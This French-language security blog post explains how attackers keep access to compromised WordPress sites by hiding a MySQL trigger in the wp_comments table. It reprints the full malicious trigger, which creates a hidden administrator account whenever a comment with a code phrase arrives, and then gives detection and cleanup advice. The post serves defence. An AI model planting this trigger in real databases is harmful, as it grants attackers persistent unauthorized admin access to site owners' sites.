1 décembre 2022

Logiciels malveillants et porte dérobée sur WordPress à l'aide de TRIGGER MySQL

Comment les pirates gardent l'accès à notre installation WordPress en utilisant une porte dérobée MySQL

Au cours de la dernière année, il y a eu une tendance croissante des logiciels malveillants WordPress à utiliser Déclencheurs SQL pour masquer les requêtes SQL malveillantes dans les bases de données compromises. Ces requêtes insèrent un utilisateur de niveau administrateur dans la base de données infectée chaque fois que la condition de déclenchement est remplie.

Ce qui rend cela particulièrement problématique pour les propriétaires de sites Web, c'est que la plupart des guides de nettoyage des logiciels malveillants se concentrent sur les fichiers et les données du site Web dans des tables de base de données spécifiques, par exemple wp_users , wp_options e wp_posts.

Si vous utilisez un CMS populaire sur votre site Web (comme WordPress), il y a de fortes chances que vous utilisiez un Base de données MySQL pour stocker des données importantes telles que les paramètres et le contenu du CMS (par exemple, les messages WordPress). Cela signifie que tout ce qui peut modifier la base de données MySQL peut également causer de graves dommages au site Web, comme l'injection de contenu malveillant ou même la suppression du contenu de votre site Web.

Ce risque de sécurité est l'une des raisons pour lesquelles la base de données MySQL se voit attribuer un nom d'utilisateur et un mot de passe distincts (voir le wp-config.php ): Cette fonctionnalité empêche quelqu'un d'interroger à distance la base de données MySQL sans les informations de connexion appropriées.

Étant donné que WordPress a accès à vos informations de connexion via wp-config.php , est capable de lire et d'apporter des modifications à la base de données définie dans le fichier de configuration.

Malheureusement, après avoir obtenu un accès non authentifié, les attaquants peuvent souvent lire le fichier wp-config.php pour connaître les informations de connexion à la base de données du site Web, qui peuvent ensuite être utilisées par le logiciel malveillant de l'attaquant pour se connecter à la base de données et apporter des modifications malveillantes.

Déclencheurs SQL

Un déclencheurs sql est une procédure stockée qui s'exécute automatiquement lorsque des modifications spécifiques sont apportées à la base de données.

Il déclencher, dans les bases de données, est une procédure exécutée automatiquement lorsqu'un événement spécifique se produit, tel que l'annulation d'un record d'un table. Cela fournit une technique pour spécifier et maintenir des contraintes d'intégrité même complexes. Les déclencheurs permettent aux utilisateurs de spécifier des contraintes d'intégrité plus complexes puisqu'un déclencheur est essentiellement une procédure PL/SQL (Oracle), Transact SQL, etc.

Cette procédure est donc associée à une table et est automatiquement appelée par le moteur de base de données lorsqu'un certain changement (ou événement) se produit dans la table. Les modifications apportées au tableau peuvent inclure des opérations insérerMise à jouret delete.

Bien qu'ils aient de nombreuses applications utiles, nous avons également des preuves que les déclencheurs SQL sont utilisés par des acteurs malveillants pour maintenir un accès non autorisé après une compromission. Pour ce faire, les attaquants insèrent un déclencheur SQL dans la base de données d'un site Web compromis, et lorsque des critères spécifiques sont remplis ou qu'un événement se produit, l'action stockée malveillante est exécutée.

Par exemple, nous avons trouvé cet intéressant déclencheur SQL de porte dérobée dans le tableau wp_commentaires sur la base de données d'un site Web infecté :

/*!50003 CREATE*/ /*!50017 DEFINER=`root_ext`@`%`*/ /*!50003 TRIGGER `after_insert_comment` AFTER INSERT ON `meccanicainnovativa`.`wp_comments` FOR EACH ROW BEGIN IF NEW.comment_content LIKE ' % Avez-vous du mal à obtenir des commentaires sur votre blog ?%' THEN SET @lastInsertWpUsersId = (SELECT MAX(id) FROM `meccanicainnovativa`.`wp_users`); SET @nextWpUsersID = @lastInsertWpUsersId + 1 ; INSERT INTO `meccanicainnovativa`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALEURS (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwaoGJxViPhtGdNG5UZs1', 'wpadmin', 'wp-security@hotmail.com', 'http://wordpress.com', '2014-06-08 00:00 :00', '', '0', 'Kris'); INSERT INTO `meccanicainnovativa`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_capabilities', 'a:1:{s:13:\"administrateur \";s:1:\"1\";}'); INSERT INTO `meccanicainnovativa`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_user_level', '10'); FIN SI; FIN */;;

Ce déclencheur SQL crée un utilisateur admin malveillant chaque fois qu'un nouveau commentaire contenant les mots de code " avez-vous du mal à obtenir des commentaires sur votre blog ? » ' est envoyé sur le site Web WordPress infecté.

Le déclencheur vérifie la colonne comment_content dans la base de données wp_commentaires , peu importe donc si le commentaire est approuvé ou en attente. Une fois que le déclencheur SQL est actif, il insère un utilisateur administrateur malveillant wpadmin avec date d'enregistrement contrefaite 2014-06-08 et adresse e-mail wp-sécurité@hotmail [ com

Conclusion et mesures d'atténuation

Lorsqu'un site Web a été compromis, vous pouvez parier que les attaquants rechercheront toutes les informations d'identification de base de données trouvées dans wp-config ou d'autres fichiers de configuration CMS, et il peut être extrêmement difficile d'identifier si le pirate a collecté ces informations à un moment donné après l'infection.

Si En cas de compromission, les mots de passe doivent être mis à jour dans tout l'environnement, y compris les bases de données. Négliger cette étape post-piratage peut conduire un attaquant à accéder à votre site et à le modifier même après que vous pensiez avoir nettoyé l'infection.

Si vous doutez que votre site puisse avoir une porte dérobée de ce type, exportez simplement la base de données via un dump .sql et recherchez la chaîne TRIGGER dans le fichier exporté.

Évidemment, tous les TRIGGERs ne sont pas des portes dérobées, comme nous l'avons dit précédemment, les TRIGGERs sont des outils utiles et légitimes ; cependant, il est également vrai que l'utilisation de TRIGGER dans les installations WordPress est quelque chose de très rare et très inhabituel.

Les propriétaires de sites Web piratés peuvent se référer à notre service sur la façon de nettoyer un site Web piraté pour connaître les étapes à suivre pour nettoyer l'infection. Si vous avez besoin d'un coup de main, nous pouvons vous aider nettoyer tous les logiciels malveillants et les portes dérobées et sécurisez votre site.

Vous avez des doutes ? Vous ne savez pas par où commencer ? Contactez-nous !

Nous avons toutes les réponses à vos questions pour vous aider à faire le bon choix.

Discute avec nous

Discutez directement avec notre support avant-vente.

0256569681

Contactez-nous par téléphone pendant les heures de bureau 9h30 - 19h30

Contactez-nous en ligne

Ouvrez une demande directement dans l'espace contact.

AVIS DE NON-RESPONSABILITÉ, Mentions légales et droits d'auteur. Red Hat, Inc. détient les droits sur Red Hat®, RHEL®, RedHat Linux® et CentOS® ; AlmaLinux™ est une marque commerciale de la AlmaLinux OS Foundation ; Rocky Linux® est une marque déposée de la Rocky Linux Foundation ; SUSE® est une marque déposée de SUSE LLC ; Canonical Ltd. détient les droits sur Ubuntu® ; Software in the Public Interest, Inc. détient les droits sur Debian® ; Linus Torvalds détient les droits sur Linux® ; FreeBSD® est une marque déposée de la Fondation FreeBSD ; NetBSD® est une marque déposée de la Fondation NetBSD ; OpenBSD® est une marque déposée de Theo de Raadt ; Oracle Corporation détient les droits sur Oracle®, MySQL®, MyRocks®, VirtualBox® et ZFS® ; Percona® est une marque déposée de Percona LLC ; MariaDB® est une marque déposée de MariaDB Corporation Ab ; PostgreSQL® est une marque déposée de PostgreSQL Global Development Group ; SQLite® est une marque déposée de Hipp, Wyrick & Company, Inc. ; KeyDB® est une marque déposée d'EQ Alpha Technology Ltd. ; Typesense® est une marque déposée de Typesense Inc. ; REDIS® est une marque déposée de Redis Labs Ltd ; F5 Networks, Inc. détient les droits sur NGINX® et NGINX Plus® ; Varnish® est une marque déposée de Varnish Software AB ; HAProxy® est une marque déposée de HAProxy Technologies LLC ; Traefik® est une marque déposée de Traefik Labs ; Envoy® est une marque déposée de CNCF ; Adobe Inc. détient les droits sur Magento® ; PrestaShop® est une marque déposée de PrestaShop SA ; OpenCart® est une marque déposée d'OpenCart Limited ; Automattic Inc. détient les droits sur WordPress®, WooCommerce® et JetPack® ; Open Source Matters, Inc. détient les droits sur Joomla® ; Dries Buytaert détient les droits sur Drupal® ; Shopify® est une marque déposée de Shopify Inc. ; BigCommerce® est une marque déposée de BigCommerce Pty. Ltd.; TYPO3® est une marque déposée de la TYPO3 Association; Ghost® est une marque déposée de la Ghost Foundation; Amazon Web Services, Inc. détient les droits sur AWS® et Amazon SES® ; Google LLC détient les droits sur Google Cloud™, Chrome™ et Google Kubernetes Engine™ ; Alibaba Cloud® est une marque déposée d'Alibaba Group Holding Limited ; DigitalOcean® est une marque déposée de DigitalOcean, LLC ; Linode® est une marque déposée de Linode, LLC ; Vultr® est une marque déposée de The Constant Company, LLC ; Akamai® est une marque déposée d'Akamai Technologies, Inc. ; Fastly® est une marque déposée de Fastly, Inc. ; Let's Encrypt® est une marque déposée d'Internet Security Research Group ; Microsoft Corporation détient les droits sur Microsoft®, Azure®, Windows®, Office® et Internet Explorer® ; Mozilla Foundation détient les droits sur Firefox® ; Apache® est une marque déposée de The Apache Software Foundation ; Apache Tomcat® est une marque déposée de The Apache Software Foundation ; PHP® est une marque déposée de PHP Group ; Docker® est une marque déposée de Docker, Inc. Kubernetes® est une marque déposée de The Linux Foundation ; OpenShift® est une marque déposée de Red Hat, Inc. ; Podman® est une marque déposée de Red Hat, Inc. ; Proxmox® est une marque déposée de Proxmox Server Solutions GmbH ; VMware® est une marque déposée de Broadcom Inc. ; CloudFlare® est une marque déposée de Cloudflare, Inc. ; NETSCOUT® est une marque déposée de NETSCOUT Systems Inc. ; ElasticSearch®, LogStash® et Kibana® sont des marques déposées d'Elastic NV ; Grafana® est une marque déposée de Grafana Labs ; Prometheus® est une marque déposée de The Linux Foundation ; Zabbix® est une marque déposée de Zabbix LLC ; Datadog® est une marque déposée de Datadog, Inc. ; Ceph® est une marque déposée de Red Hat, Inc. ; MinIO® est une marque déposée de MinIO, Inc. ; Mailgun® est une marque déposée de Mailgun Technologies, Inc. ; SendGrid® est une marque déposée de Twilio Inc. Postmark® est une marque déposée d'ActiveCampaign, LLC ; cPanel®, LLC détient les droits sur cPanel® ; Plesk® est une marque déposée de Plesk International GmbH ; Hetzner® est une marque déposée de Hetzner Online GmbH ; OVHcloud® est une marque déposée d'OVH Groupe SAS ; Terraform® est une marque déposée de HashiCorp, Inc. ; Ansible® est une marque déposée de Red Hat, Inc. ; cURL® est une marque déposée de Daniel Stenberg ; Facebook®, Inc. détient les droits sur Facebook®, Messenger® et Instagram®. Ce site n'est pas affilié, sponsorisé ou autrement associé à l'une des entités mentionnées ci-dessus et ne représente aucune de ces entités de quelque manière que ce soit. Tous les droits sur les marques et noms de produits mentionnés sont la propriété de leurs titulaires respectifs des droits d'auteur. Toutes les autres marques mentionnées sont la propriété de leurs titulaires respectifs.

JUSTE UN MOMENT !

Vous êtes-vous déjà demandé si votre hébergement était nul ?

Découvrez dès maintenant si votre hébergeur vous pénalise avec un site web lent digne des années 1990 ! Résultats immédiats.

Fermer le CTA
Retour en haut de page